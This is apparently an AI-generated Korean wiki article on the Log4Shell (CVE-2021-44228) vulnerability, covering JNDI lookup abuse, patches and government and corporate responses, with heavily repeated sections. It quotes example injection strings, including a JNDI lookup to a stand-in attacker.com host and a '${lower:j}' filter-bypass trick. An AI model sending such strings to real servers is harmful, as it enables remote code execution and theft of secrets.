맨위로가기

Log4Shell

"오늘의AI위키"는 AI 기술로 일관성 있고 체계적인 최신 지식을 제공하는 혁신 플랫폼입니다.
"오늘의AI위키"의 AI를 통해 더욱 풍부하고 폭넓은 지식 경험을 누리세요.
목차

1. 개요

Log4Shell은 소프트웨어 개발자들이 로그 기록을 위해 사용하는 오픈 소스 로깅 프레임워크인 Log4j에서 발견된 심각한 취약점이다. 이 취약점은 자바 명명 및 디렉터리 인터페이스(JNDI)를 악용하여 원격 코드 실행을 가능하게 하며, 2021년 12월에 공개된 이후 전 세계적으로 광범위한 사이버 공격에 악용되었다. 공격자들은 이 취약점을 통해 악성 코드를 실행하고, 시스템을 장악하여 암호화폐 채굴, 봇넷 구축, 랜섬웨어 공격 등 다양한 불법 행위를 시도했다. Log4Shell의 심각성으로 인해 미국, 캐나다, 독일 등 여러 국가의 정부 기관과 기업들이 긴급 대응 조치를 취했으며, 소프트웨어 업데이트, 발신 네트워크 트래픽 필터링 등의 완화 방안이 제시되었다.

더 읽어볼만한 페이지

  • 취약점 공격 - 보안 취약점
    보안 취약점은 시스템의 설계, 구현, 운영, 관리상 결함이나 약점으로, 위협에 의해 악용되어 시스템 보안 정책을 위반할 수 있는 요소이며, ISO 27005, IETF RFC 4949, NIST SP 800-30, ENISA 등 다양한 기관에서 정의하고 있다.
  • 취약점 공격 - 인터넷 보안
    인터넷 보안은 사이버 위협, 악성 소프트웨어, 서비스 거부 공격 등으로부터 정보와 시스템을 보호하기 위해 네트워크 계층 보안, 다단계 인증, 방화벽 등 다양한 기술과 방법을 포괄한다.
Log4Shell
개요
이름Log4Shell (로그4셸)
발견일2021년 11월 24일
패치 완료일2021년 12월 06일
발견자알리바바 클라우드 보안팀의 천자오쥔
영향 받는 소프트웨어Log4j 2를 사용하여 사용자 입력을 로깅하는 애플리케이션
기술 정보
설명널리 사용되는 Java 로그 프레임워크인 Log4j 2에서 발견된 원격 코드 실행(RCE) 0-day 익스플로잇

2. 배경

Log4j는 소프트웨어 개발자가 자신의 애플리케이션 안에 사용자 입력을 포함한 다양한 데이터의 로그 기록을 남길 수 있게 하는 오픈 소스 로깅 프레임워크이다.[117][21][74] 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 널리 사용된다.[109][6] 2001년 Ceki Gülcü가 처음 개발했으며, 현재는 아파치 소프트웨어 재단의 프로젝트인 아파치 로깅 서비스의 일부이다.[118][22][81]

3. 동작

Log4j 2는 로그 메시지에 포함된 특정 형식의 문자열(예: `${...}`)을 처리할 때, 해당 문자열을 다른 값으로 변환하는 '문자열 치환' 기능을 기본적으로 제공한다.[120][24][83] 예를 들어, `${java:version}`이라는 문자열은 실제 실행 환경의 자바 버전 정보로 대체된다.[121][25][84]

이 문자열 치환 기능 중에는 자바 네이밍 및 디렉터리 인터페이스(JNDI)를 통해 외부 자원을 조회하는 `${jndi:...}` 형식도 포함되어 있다.[120][24][83] JNDI는 경량 디렉터리 접근 프로토콜(LDAP)과 같은 프로토콜을 사용하여 지정된 경로(URL)에서 자바 객체나 데이터를 가져올 수 있는 기능이다.[119][120][24][82][83]

Log4Shell 취약점은 이 두 기능이 결합되어 발생한다. 공격자는 로그 메시지에 JNDI 룩업을 유도하는 악의적인 문자열(예: `${jndi:ldap://attacker.com/malicious_code}`)을 포함시킨다. Log4j 2가 이 문자열을 처리하게 되면, JNDI 기능을 통해 공격자가 제어하는 외부 서버(예: attacker.com)에 접속하여 데이터를 요청하게 된다.[120][24][83] 이 과정을 통해 공격자는 대상 시스템에서 악성 코드를 실행시키거나, 시스템의 민감한 정보(예: 환경 변수)를 외부로 유출시킬 수 있다.[120][122][123][24][26][27][94][85]

HTTP 요청의 URL이나 HTTP 헤더(예: `User-Agent`)는 서버 로그에 자주 기록되기 때문에, 공격자들은 주로 이 경로를 통해 악성 JNDI 문자열을 시스템에 주입한다.[124][30][86] 초기에는 이러한 공격을 막기 위해 로그에서 `${jndi`와 같은 특정 문자열을 단순히 검사하고 차단하는 방법이 사용되었으나, 공격자들은 문자열을 난독화하는 방식으로 이러한 방어를 우회하기도 했다.[125][31][87] 또한, 입력된 데이터가 즉시 로그에 기록되지 않더라도 나중에 내부 처리 과정에서 로그로 남겨지면서 취약점이 발동될 수도 있다.[120][24][83]

3. 1. JNDI 룩업

자바 네이밍 및 디렉터리 인터페이스(JNDI)는 프로그램 실행 중에 주어진 데이터 경로를 통해 자바 객체를 찾을 수 있게 해주는 기능이다. JNDI는 여러 종류의 디렉터리 인터페이스를 활용할 수 있는데, 각 인터페이스는 파일을 찾는 고유한 방식을 제공한다. 이 중에는 자바 환경뿐만 아니라 다른 환경에서도 널리 쓰이는 경량 디렉터리 접근 프로토콜(LDAP)도 포함된다.[119][82] LDAP을 사용하면 로컬 시스템이나 인터넷 상의 특정 서버에 있는 객체 데이터를 URL 주소를 통해 가져올 수 있다.[120][24][83]

Log4j 2는 기본 설정에서 로그 메시지를 기록할 때, ${prefix:name} 형태의 특별한 문자열(표현식)을 발견하면 이를 다른 값으로 바꾸는 문자열 치환 기능을 수행한다.[120][24][83] 예를 들어, 로그 메시지에 Text: ${java:version}이라는 내용이 포함되어 있다면, Log4j 2는 이를 실제 자바 버전 정보(예: Text: Java version 1.7.0_67)로 변환하여 기록한다.[121][25][84]

Log4j 2가 인식하는 여러 표현식 중에는 ${jndi:} 형식도 있다. 이 표현식은 JNDI를 통해 특정 자원을 조회하라는 의미이다. 만약 `` 부분에 LDAP 서버 주소(예: ldap://example.com/file)가 포함된 문자열(${jndi:ldap://example.com/file})이 로그로 기록되면, Log4j 2는 해당 LDAP 서버에 접속하여 데이터를 가져오려고 시도한다. 공격자는 이 기능을 악용할 수 있다. 즉, 공격자가 제어하는 서버의 주소를 포함한 악의적인 JNDI 문자열을 로그에 남기도록 유도하면, 해당 서버에서 악성 코드를 다운로드하여 실행시킬 수 있다.[120][24][83] 시스템 설정 등으로 인해 외부에서 가져온 코드를 직접 실행하는 것이 차단되어 있더라도, 공격자는 여전히 이 취약점을 이용하여 시스템 내부의 민감한 정보(예: 비밀 환경 변수 값)를 빼낼 수 있다. JNDI 문자열의 특정 부분에 환경 변수 이름을 넣으면, Log4j 2가 해당 변수 값으로 치환한 뒤 공격자의 서버로 전송하게 만들기 때문이다.[122][123][26][27][94][85] LDAP 프로토콜 외에도, 보안이 강화된 LDAPS, 자바 원격 메서드 호출(RMI), 도메인 이름 시스템(DNS), 일반 인터-ORB 프로토콜(IIOP) 등 다른 JNDI 조회 프로토콜 역시 비슷한 방식으로 악용될 가능성이 있다.[28][29]

HTTP 요청 정보는 서버 로그에 자주 기록되기 때문에, 공격자들은 흔히 악성 JNDI 문자열을 HTTP 요청의 URL이나 HTTP 헤더(특히 User-Agent 헤더)에 포함시켜 공격을 시도한다. Log4Shell 취약점이 처음 알려졌을 때, 임시 방편으로 로그에 기록될 내용 중 ${jndi 와 같이 의심스러운 문자열 패턴이 포함된 요청을 모두 차단하는 방법이 사용되기도 했다.[124][30][86] 하지만 이러한 단순한 문자열 검사 방식은 쉽게 우회될 수 있다. 예를 들어, 공격자는 ${${lower:j}ndi 와 같이 문자열 처리 기능을 중첩하여 사용함으로써 탐지를 피할 수 있다. 이 경우, Log4j 2는 먼저 ${lower:j} 부분을 처리하여 소문자 'j'로 바꾼 뒤, 결과적으로 ${jndi...} 표현식을 실행하게 된다.[125][31][87] 또한, 사용자가 입력한 값이 즉시 로그에 기록되지 않더라도, 프로그램 내부의 다른 처리 과정을 거치면서 나중에 로그로 남겨질 때 뒤늦게 JNDI 조회가 발생하여 취약점이 작동할 수도 있다.[120][24][83]

참고로 Log4j 1.x 버전대는 JNDI 룩업 기능을 가지고 있지 않으며, JMS Appender가 활성화되어 있어도 클래스 정보가 역직렬화되지 않기 때문에 이 취약점의 영향을 받지 않는다.[88]

3. 2. 취약점 악용

자바 명명 및 디렉터리 인터페이스(JNDI)는 프로그램 실행 중에 특정 데이터 경로에 있는 자바 객체를 찾을 수 있게 해주는 기능이다. JNDI는 여러 종류의 디렉터리 인터페이스를 활용할 수 있는데, 각 인터페이스는 파일을 찾는 고유한 방식을 제공한다. 이 중에는 자바 고유 프로토콜이 아닌 경량 디렉터리 접근 프로토콜(LDAP)도 포함된다.[119][24][82] LDAP을 사용하면 로컬 컴퓨터나 인터넷 상의 특정 서버에서 URL을 통해 객체 데이터를 가져올 수 있다.[120][83]

Log4j 2는 기본 설정에서 로그를 기록할 때, ${prefix:name} 형태의 특정 문자열 패턴을 만나면 이를 다른 값으로 바꾸는 '문자열 치환' 기능을 수행한다.[120][24][83] 예를 들어, 로그 메시지에 Text: ${java:version}이라는 내용이 포함되면, 이는 실제 실행 환경의 자바 버전을 나타내는 Text: Java version 1.7.0_67과 같은 문자열로 변환될 수 있다.[121][25][84]

문제는 Log4j 2가 인식하는 여러 치환 패턴 중 ${jndi:}이라는 패턴이 있다는 점이다. 이 패턴과 LDAP 프로토콜을 결합하면, 공격자는 임의의 외부 URL 주소를 지정하여 해당 주소에서 악의적인 자바 객체 데이터를 가져와 로드하도록 만들 수 있다. 예를 들어, 로그 메시지에 ${jndi:ldap://example.com/file}과 같은 문자열이 포함되면, Log4j 2는 인터넷을 통해 'example.com' 서버에 접속하여 'file'이라는 데이터를 로드하려고 시도한다. 만약 공격자가 이 URL에 악성 코드를 심어두었다면, 해당 코드가 서버에서 실행될 수 있다.[120][24][83] 설령 서버 설정 등으로 인해 외부에서 가져온 데이터의 직접적인 실행이 비활성화되어 있더라도, 공격자는 다른 방식으로 정보를 탈취할 수 있다. 예를 들어, 서버의 비밀 환경 변수 같은 민감한 정보를 JNDI lookup 문자열 안에 포함시켜, 이 정보가 치환 과정에서 공격자가 제어하는 외부 서버 URL의 일부로 전송되게 만들 수 있다.[122][123][26][27][94][85]

LDAP 외에도 JNDI lookup 기능을 악용할 수 있는 다른 프로토콜로는 보안 연결을 사용하는 LDAPS, 자바 원격 메서드 호출(RMI), 도메인 이름 시스템(DNS), 일반 인터-ORB 프로토콜(IIOP) 등이 있다.[28][29]

공격자들은 HTTP 요청이 서버 로그에 자주 기록된다는 점을 이용한다. 흔한 공격 방식은 악의적인 JNDI lookup 문자열을 HTTP 요청의 URL 주소나, User-Agent와 같이 일반적으로 로그에 남는 HTTP 헤더 값에 포함시켜 서버로 보내는 것이다. 취약점이 처음 알려졌을 때, 일부 시스템에서는 ${jndi와 같이 악성 코드로 의심되는 문자열이 포함된 모든 요청을 차단하는 방식으로 긴급 대응을 시도했다.[124][30][86] 하지만 이런 단순한 문자열 검사 방식은 공격 문자열을 약간 변형하는 것만으로도 쉽게 우회될 수 있다. 예를 들어, ${${lower:j}ndi와 같은 형태는 'j'를 소문자로 바꾸는 처리를 거친 후에 정상적인 JNDI lookup 명령으로 인식되어 실행될 수 있다.[125][31][87] 또한, 사용자가 입력한 값이 즉시 로그에 기록되지 않더라도, 서버 내부의 다른 처리 과정을 거치다가 나중에 로그로 남겨지면서 뒤늦게 취약점이 발동될 수도 있다.[120][24][83]

참고로, 구버전인 Log4j 1.x 버전대는 JNDI Lookup 기능을 가지고 있지 않기 때문에 이 Log4Shell 취약점의 영향을 받지 않는다.[88]

3. 3. 공격 벡터

JNDI(Java Naming and Directory Interface)는 프로그램 실행 중에 특정 데이터 경로에 있는 자바 객체를 찾을 수 있게 해주는 인터페이스이다. JNDI는 여러 디렉터리 인터페이스를 활용할 수 있는데, 각 인터페이스는 파일을 찾는 고유한 방식을 제공한다. 이 중에는 자바 외의 프로토콜인 LDAP(Lightweight Directory Access Protocol)도 포함된다.[119][24][82] LDAP은 로컬 환경이나 인터넷 상의 특정 서버에서 URL을 통해 객체 데이터를 가져올 수 있다.[120][24][83]

Log4j 2는 기본 설정에서 로그를 기록할 때, `${prefix:name}` 형태의 표현식을 만나면 해당 내용을 다른 문자열로 바꾸는 '문자열 치환' 기능을 수행한다.[120][24][83] 예를 들어, 로그 메시지에 `Text: ${java:version}`이라는 내용이 포함되어 있다면, 이는 실제 자바 버전 정보(예: `Text: Java version 1.7.0_67`)로 변환되어 기록된다.[121][25][84]

Log4j 2가 인식하는 여러 표현식 중에는 `${jndi:}`이라는 형식도 있다. 공격자는 이 JNDI Lookup 기능을 악용할 수 있다. 예를 들어, LDAP 프로토콜을 사용하여 `${jndi:ldap://example.com/file}`과 같은 형태로 특정 URL 조회를 요청하면, Log4j는 해당 URL에서 데이터를 가져와 자바 객체로 로드하려고 시도한다. 만약 이 URL이 공격자가 제어하는 서버를 가리키고 악성 코드가 포함된 자바 객체를 제공한다면, 공격자는 대상 시스템에서 임의의 코드를 실행할 수 있게 된다.[120][24][83] 설령 시스템 설정상 외부에서 로드된 자바 객체의 실행이 비활성화되어 있더라도, 공격자는 이 기능을 이용해 시스템 내부의 민감한 정보(예: 환경 변수)를 조회하여 그 값을 URL 경로 등에 포함시켜 외부의 공격자 서버로 전송하게 함으로써 정보를 탈취할 수도 있다.[122][123][26][27][94][85] LDAP 외에도 LDAPS(LDAP Secure), RMI(Java Remote Method Invocation), DNS(Domain Name System), IIOP(Internet Inter-ORB Protocol) 등 다른 JNDI 조회 프로토콜 역시 이 취약점을 악용하는 데 사용될 수 있다.[28][29]

HTTP 요청 정보는 서버 로그에 자주 기록되기 때문에, 공격자들은 악성 JNDI Lookup 문자열을 HTTP 요청의 URL이나 HTTP 헤더(특히 `User-Agent` 헤더)에 포함시켜 공격하는 방식을 흔히 사용한다. 취약점 공개 초기에는 `${jndi`와 같이 의심스러운 문자열이 포함된 요청을 단순히 차단하는 방식의 임시 방편이 사용되기도 했다.[124][30][86] 그러나 이러한 단순 문자열 검사 방식은 공격 문자열을 난독화함으로써 쉽게 우회될 수 있다. 예를 들어, `${${lower:j}ndi:...}`와 같은 형식은 Log4j 내부에서 처리될 때 소문자 변환 함수(`lower:`)가 먼저 실행되어 `${jndi:...}` 형태로 변환된 후 JNDI Lookup 기능이 동작하기 때문에, 단순 문자열 필터링을 통과할 수 있다.[125][31][87] 또한, 사용자가 입력한 값이 즉시 로그로 기록되지 않더라도, 서버 내부의 다른 처리 과정을 거치다가 나중에 로그로 기록되면서 취약점이 발동될 수도 있다.[120][24][83]

참고로, 구버전인 Log4j 1.x 버전대는 JNDI Lookup 기능을 지원하지 않으며, 설령 JMS Appender 기능이 활성화되어 있더라도 클래스 정보를 역직렬화하지 않기 때문에 Log4Shell 취약점의 영향을 받지 않는다.[88]

4. 완화

Log4Shell 취약점을 해결하기 위한 다양한 완화 방법이 제시되었다. 가장 근본적이고 권장되는 방법은 Log4j 라이브러리를 최신 보안 패치가 적용된 버전으로 업데이트하는 것이다.[126][32][33][34][89] 초기 버전 업데이트 이후에도 추가적인 취약점들이 발견되어 여러 차례 업데이트가 이루어졌다.[35][36][37][38]

즉각적인 업데이트가 어려운 상황에서는 임시적인 완화 조치가 제안되었다. 특정 시스템 속성(log4j2.formatMsgNoLookups)을 변경하거나,[127][111][90][91][92] 특정 클래스(org.apache.logging.log4j.core.lookup.JndiLookup)를 클래스패스에서 제거하는 방법 등이 사용되었으나,[8][35][80] 이러한 임시 조치는 완전한 해결책이 되지 못하거나 추가적인 문제점을 가질 수 있는 한계가 있었다.[8][35]

또한, 최신 버전의 자바 런타임 환경(JRE)을 사용하는 것이 원격 코드 로드를 기본적으로 차단하여 일부 완화 효과를 줄 수 있지만,[122][105][129][1][26][39][40][70][94][95] 이것만으로는 모든 공격 경로를 막을 수 없으므로 Log4j 업데이트가 여전히 중요하다. 시스템 내에 포함된 취약한 Log4j 버전을 탐지하는 데 도움이 되는 여러 도구와 방법들도 공개되었다.[130][41][96]

자원 부족이나 타사 관리 솔루션 사용 등의 제약으로 업데이트가 불가능한 경우, 취약한 시스템에서 외부로 나가는 네트워크 트래픽을 필터링하는 심층 방어 전략도 고려되었다.[42] 이는 NCC 그룹[43]이나 영국 국립 사이버 보안 센터[44] 등에서 권장하는 방법 중 하나이다.[45]

4. 1. Log4j 업데이트

이 취약점에 대한 수정은 취약점이 공개되기 3일 전인 2021년 12월 6일에 Log4j 버전 2.15.0-rc1으로 출시되었다.[126][32][33][34][89] 이 수정에는 룩업에 사용될 수 있는 서버와 프로토콜을 제한하는 기능이 포함되었으며, 이는 여러 시스템 속성을 사용하여 구성할 수 있다. 이는 기존의 `log4j2.formatMsgNoLookups` 시스템 속성을 대체하는 것이었다.[127][111][90][91][92]

2.10.0 이상 버전에서는 취약점을 완화하기 위해 초기에 시스템 속성 `log4j2.formatMsgNoLookups`를 `true`로 설정하는 것이 권장되었다.[127][111][90][91][92] 그러나 이 방법은 나중에 발견된 관련 버그인 CVE-2021-45046의 악용을 막지 못하며, 특정 상황에서는 메시지 룩업을 비활성화하지 못하는 것으로 밝혀졌다.[8][35] 2.10.0 미만 버전의 경우, `org.apache.logging.log4j.core.lookup.JndiLookup` 클래스를 클래스패스에서 제거하는 것이 권장된다.[8][35][80]

이후 연구자들은 특정 비-기본 구성에서 로컬 또는 원격 코드 실행을 허용하는 관련 버그인 CVE-2021-45046을 발견했다. 이 문제는 버전 2.16.0에서 수정되었으며, 이 버전부터는 JNDI를 사용하는 모든 기능이 기본적으로 비활성화되고 메시지 룩업 기능이 제거되었다.[35][36][93][128]

라이브러리에서 두 개의 추가적인 취약점이 더 발견되었다. 하나는 CVE-2021-45105로 추적되는 서비스 거부 공격 취약점으로, 버전 2.17.0에서 수정되었다.[37] 다른 하나는 CVE-2021-44832로 추적되는 원격 코드 실행 취약점(악용 어려움)으로, 버전 2.17.1에서 수정되었다.[37][38]

최신 버전의 자바 런타임 환경 (JRE) 역시 원격 코드 로드를 기본적으로 차단하여 이 취약점을 완화하는 데 도움을 주지만, 다른 공격 벡터가 특정 애플리케이션에 여전히 존재할 수 있다.[122][105][129][1][26][39][40][70][94][95] 내장된 자바 패키지에서 취약한 Log4j 버전을 탐지하는 데 도움이 되는 여러 방법과 도구가 공개되었다.[130][41][96]

자원 부족이나 타사 관리 솔루션 사용 등 다양한 제약으로 인해 Log4j 업데이트가 어려운 경우, 취약한 시스템에서 나가는 네트워크 트래픽을 필터링하는 것이 대안으로 제시되었다.[42] 이 방법은 NCC 그룹[43]과 영국 국립 사이버 보안 센터에서 권장하는 심층 방어 조치 중 하나이다.[44] 이러한 필터링의 효과는 여러 버전의 라이브러리와 JRE를 사용한 실험을 통해 입증되었다.[45]

4. 2. 설정 변경 (임시 조치)

Log4j 구 버전을 사용하는 경우, 취약점을 완화하기 위한 몇 가지 임시 조치가 권장되었다.

Log4j 2.10.0 버전부터 2.14.x 버전까지는 시스템 속성 log4j2.formatMsgNoLookups를 `true`로 설정하는 것이 초기 권장 사항이었다.[127][111][90][91][92] 그러나 이 방법은 이후 발견된 관련 취약점인 CVE-2021-45046의 악용을 막지 못하며, 특정 비-기본 구성에서는 메시지 조회를 완전히 비활성화하지 못하는 것으로 밝혀졌다.[8][35]

Log4j 2.10.0 미만 버전의 경우, 또는 더 확실한 완화를 위해서는 org.apache.logging.log4j.core.lookup.JndiLookup 클래스를 클래스패스에서 제거하는 방법이 권장된다. 이 조치는 CVE-2021-44228과 CVE-2021-45046 두 취약점 모두에 대해 효과적인 완화책이 될 수 있다.[8][35][80]

자바 런타임 환경(JRE)의 최신 버전을 사용하는 것도 도움이 될 수 있다. 새로운 JRE는 원격 코드 로드를 기본적으로 차단하여 이 취약점의 영향을 줄일 수 있다. 하지만 다른 공격 경로가 여전히 존재할 수 있으므로, JRE 업데이트만으로는 완전한 해결책이 되지 못한다.[122][105][129][1][26][39][40][70][94][95]

Log4j 라이브러리를 즉시 업데이트하기 어려운 상황(예: 자원 부족, 타사 관리 솔루션 사용 등)에서는 임시방편으로 취약한 시스템에서 외부로 나가는 네트워크 트래픽을 필터링하는 방법이 있다.[42] 이는 NCC 그룹[43]이나 영국 국립 사이버 보안 센터[44] 등에서 권장하는 심층 방어 조치 중 하나로, 외부 서버와의 통신을 차단하여 악성 코드 실행을 막는 데 도움을 줄 수 있다.[45]

참고로, Log4j 2.16.0 버전부터는 JNDI를 사용하는 모든 기능이 기본적으로 비활성화되도록 변경되었다.[128][35][93]

4. 3. 추가적인 보안 조치

이 취약점에 대한 초기 수정은 취약점 공개 3일 전인 2021년 12월 6일, Log4j 버전 2.15.0-rc1에서 이루어졌다.[126][32][33][34][89] 이 수정에는 JNDI 룩업(lookup)에 사용될 수 있는 서버와 프로토콜을 제한하는 기능이 포함되었다.[126]

그러나 이후 특정 비기본 구성에서 서비스 거부(DoS) 또는 원격 코드 실행(RCE)을 허용하는 추가 취약점(CVE-2021-45046)이 발견되었다.[35][36] 이에 따라 버전 2.16.0에서는 JNDI 관련 기능이 기본적으로 비활성화되고 메시지 룩업 기능 지원이 제거되어 이 문제를 해결했다.[35][36][128][93] 이후에도 두 개의 취약점이 더 발견되어 각각 수정되었다. CVE-2021-45105(DoS)는 버전 2.17.0에서,[37] 악용이 상대적으로 어려운 CVE-2021-44832(RCE)는 버전 2.17.1에서 수정되었다.[38]

최신 버전으로 업데이트하는 것이 가장 확실한 해결책이지만, 이전 버전을 사용해야 하는 경우 다음과 같은 완화 조치가 권장되었다.

  • 버전 2.10.0 ~ 2.15.0: 시스템 속성 log4j2.formatMsgNoLookups를 true로 설정하는 것이 초기에 권장되었으나,[127][111][90][91][92] 이 방법은 CVE-2021-45046을 막지 못하고 특정 상황에서 룩업을 비활성화하지 못하는 것으로 밝혀졌다.[8][35] 따라서 2.16.0 이상(Java 7 환경에서는 2.12.2 이상)으로 업데이트하는 것이 강력히 권장된다.
  • 버전 2.10.0 미만: 클래스패스에서 org.apache.logging.log4j.core.lookup.JndiLookup 클래스를 제거하는 것이 권장된다.[8][35][80]


최신 버전의 자바 런타임 환경(JRE)은 원격 코드 로드를 기본적으로 차단하여 이 취약점을 완화하는 데 도움이 될 수 있다. 하지만 다른 공격 경로가 여전히 존재할 수 있으므로 Log4j 자체를 업데이트하는 것이 우선시되어야 한다.[122][105][129][1][26][39][40][70][94][95] 시스템 내에 포함된 취약한 Log4j 버전을 탐지하는 데 도움이 되는 여러 도구와 방법들이 공개되었다.[130][41][96]

자원 부족이나 타사에서 관리하는 솔루션 사용 등의 이유로 즉시 업데이트가 어려운 경우에는, 취약한 시스템에서 외부로 나가는 네트워크 트래픽을 필터링하는 것이 대안적인 해결책이 될 수 있다.[42] 이는 NCC 그룹[43]과 영국 국립 사이버 보안 센터(NCSC) 등에서 권장하는 심층 방어 전략의 하나이다.[44] 실험 결과, 방화벽을 이용한 발신 트래픽 차단이 여러 버전의 Log4j와 JRE 환경에서 효과가 있음이 확인되었다.[45]

5. 한국의 상황 및 대응

(작성할 내용 없음)

5. 1. 피해 현황

해커들은 Log4Shell 취약점을 이용하여 자바(Java)를 사용하는 취약한 장치를 제어할 수 있다.[7] 일부 해커들은 피해자의 장치를 암호화폐 채굴에 사용하거나, 봇넷을 만들고, 스팸을 보내며, 백도어를 구축하고, 랜섬웨어 공격과 같은 다른 불법적인 활동을 수행하기 위해 이 취약점을 악용한다.[7][9][46] 취약점이 공개된 후 며칠 동안, 보안 기업 체크 포인트는 해커들이 시작한 수백만 건의 공격을 관찰했다. 일부 연구자들은 분당 100건이 넘는 공격이 발생하여, 결과적으로 전 세계 비즈니스 네트워크의 40% 이상에 대한 공격 시도로 이어졌다고 분석했다.[7][47]

클라우드플레어의 최고경영자 매튜 프린스에 따르면, 이 취약점에 대한 악용 또는 스캔의 증거는 공식 발표 9일 전인 12월 1일부터 나타나기 시작했다.[48] 사이버 보안 회사 그레이노이즈는 여러 개의 IP 주소가 취약점을 가진 서버를 찾기 위해 웹사이트를 웹 스크래핑하고 있었다고 밝혔다.[49] 여러 봇넷이 이 취약점에 대한 스캔을 시작했으며, 12월 10일까지 무스틱(Muhstik) 봇넷과 미라이, 쓰나미(Tsunami) 등이 포함되었다.[7][48][50] 랜섬웨어 그룹 콘티는 12월 17일에 이 취약점을 사용하는 것이 관찰되었다.[9]

체크 포인트에 따르면 중국과 이란의 일부 국가 지원 해킹 그룹도 이 취약점을 사용한 것으로 파악되었으나, 이스라엘, 러시아 또는 미국이 취약점 공개 전에 이를 사용했는지 여부는 알려지지 않았다.[9][19] 체크 포인트는 2021년 12월 15일, 이란의 지원을 받는 해커들이 이스라엘 기업 및 정부 기관의 네트워크에 침투를 시도했다고 발표했다.[9]

5. 2. 정부 대응

미국의 사이버 보안 및 인프라 보안국(CISA) 국장 젠 이스터리는 이 익스플로잇을 "자신의 경력에서 본 가장 심각한 것 중 하나, 어쩌면 가장 심각한 것"이라고 평가하며, 수억 대의 장치가 영향을 받았을 수 있다고 설명했다. 그는 벤더들에게 소프트웨어 업데이트를 최우선으로 처리할 것을 권고했다.[7][51][46] 미국 정부와 계약한 민간 기관들은 2021년 12월 24일까지 해당 취약점을 해결해야 했다.[9] 2022년 1월 4일, 연방거래위원회(FTC)는 Log4j 소프트웨어 업데이트를 위한 합리적인 조치를 취하지 않은 기업에 대해 법적 조치를 취할 수 있음을 경고했다.[52] 백악관 회의에서는 소수의 자원봉사자들이 주로 유지 관리하는 오픈 소스 소프트웨어의 보안 문제가 국가 안보에 중요하다는 점이 강조되었다. 일부 오픈 소스 프로젝트는 리누스의 법칙처럼 많은 사람들의 검토를 받지만, 다른 많은 프로젝트는 보안을 책임지는 사람이 거의 없거나 전혀 없는 실정이다.[53][54]

독일의 연방 정보 보안청(BSI)은 이 익스플로잇에 대해 최고 수준의 위협 경보(적색 경보)를 발령하며 "극도로 심각한 위협 상황"이라고 규정했다. BSI는 이미 여러 차례 성공적인 공격이 발생했으며, 익스플로잇의 전체적인 영향 범위를 파악하기는 어렵다고 보고했다.[55][56] 네덜란드의 국가 사이버 보안 센터(NCSC)는 Log4Shell 취약점을 가진 애플리케이션 목록을 지속적으로 업데이트하며 관리하기 시작했다.[57][58]

캐나다 사이버 보안 센터(CCCS)는 캐나다 내 조직들에게 즉각적인 조치를 취할 것을 촉구했다.[59] 캐나다 국세청은 이 익스플로잇을 인지한 후 온라인 서비스를 일시 중단했으며, 퀘벡 주 정부는 예방 조치로 약 4,000개의 정부 웹사이트를 폐쇄했다.[60] 벨기에 국방부는 Log4Shell을 이용한 침투 시도를 겪었으며, 이로 인해 네트워크 일부를 폐쇄해야 했다.[61]

중국의 공업정보화부는 알리바바 클라우드가 해당 취약점을 발견하고도 정부에 즉시 보고하지 않았다는 이유로, 알리바바 클라우드와의 사이버 보안 위협 정보 공유 파트너십을 6개월간 중단하는 조치를 취했다.[62]

5. 3. 기업 대응

Wiz사와 EY(Ernst & Young)이 실시한 연구에 따르면, 클라우드 엔터프라이즈 환경의 93%가 Log4Shell에 취약한 것으로 나타났다.[18] 취약한 워크로드 중 7%는 인터넷에 직접 노출되어 있어 광범위한 공격 시도에 취약했다. 연구에 따르면 취약점 공개 10일 후인 2021년 12월 20일까지 클라우드 환경에서 취약한 워크로드의 평균 45%만이 패치된 상태였다. 아마존, 구글, 마이크로소프트와 같은 주요 클라우드 서비스 제공 업체의 데이터 역시 Log4Shell의 영향을 받았다.[9] 마이크로소프트는 2021년 12월, 국가의 지원을 받는 해커나 사이버 범죄자들이 Log4j의 'Log4Shell' 결함을 이용해 시스템을 공격하려는 시도를 관찰한 후, 윈도우 및 Azure 고객들에게 보안 경계를 강화할 것을 당부했다.[63]

인적 자원 관리 및 인력 관리 분야의 대기업 중 하나인 UKG는 랜섬웨어 공격의 표적이 되었는데, 이는 다른 대기업들에도 영향을 미쳤다.[20][64] UKG 측은 해당 랜섬웨어 공격에서 Log4Shell 취약점이 악용되었다는 직접적인 증거는 없다고 밝혔지만, 사이버 보안 회사 Recorded Future의 분석가 앨런 리스카는 두 사건 사이에 연관성이 있을 가능성을 제기했다.[64]

대기업들이 Log4Shell 익스플로잇에 대한 보안 패치를 배포하기 시작하자, 해커들은 상대적으로 보안이 취약한 중소기업으로 공격 대상을 옮겨가면서 중소기업의 위험 부담이 커졌다.[46]

6. 국제적 반응과 영향

Log4Shell 취약점 공개 이후, 여러 국가의 사이버 보안 기관들이 즉각적으로 심각성을 경고하고 대응에 나섰다. 미국 사이버보안 및 인프라 보안국(CISA)은 이를 심각한(critical) 문제로 규정하고 소프트웨어 업데이트를 권고했으며,[131][97] 캐나다 사이버 보안 센터(CCCS)도 즉각적인 조치를 촉구했다.[132][98] 독일 연방정보기술보안청(BSI)은 최고 위협 수준으로 지정하며 "극히 심각한 위협 상황"이라고 평가했다.[133][134][99][100]

한편, 취약점 공개 이전부터 악용 시도가 있었던 정황도 포착되었다. 클라우드플레어에 따르면 취약점 공개 9일 전인 2021년 12월 1일부터 관련 활동 증거가 나타났으며,[135][101] GreyNoise는 여러 IP 주소가 취약 서버를 스캔하고 있었다고 밝혔다.[136][102] 이러한 상황 속에서 시스템 관리자들은 라이브러리 업데이트 등 신속한 완화 조치를 권고받았다.[138][104]

6. 1. 정부 기관

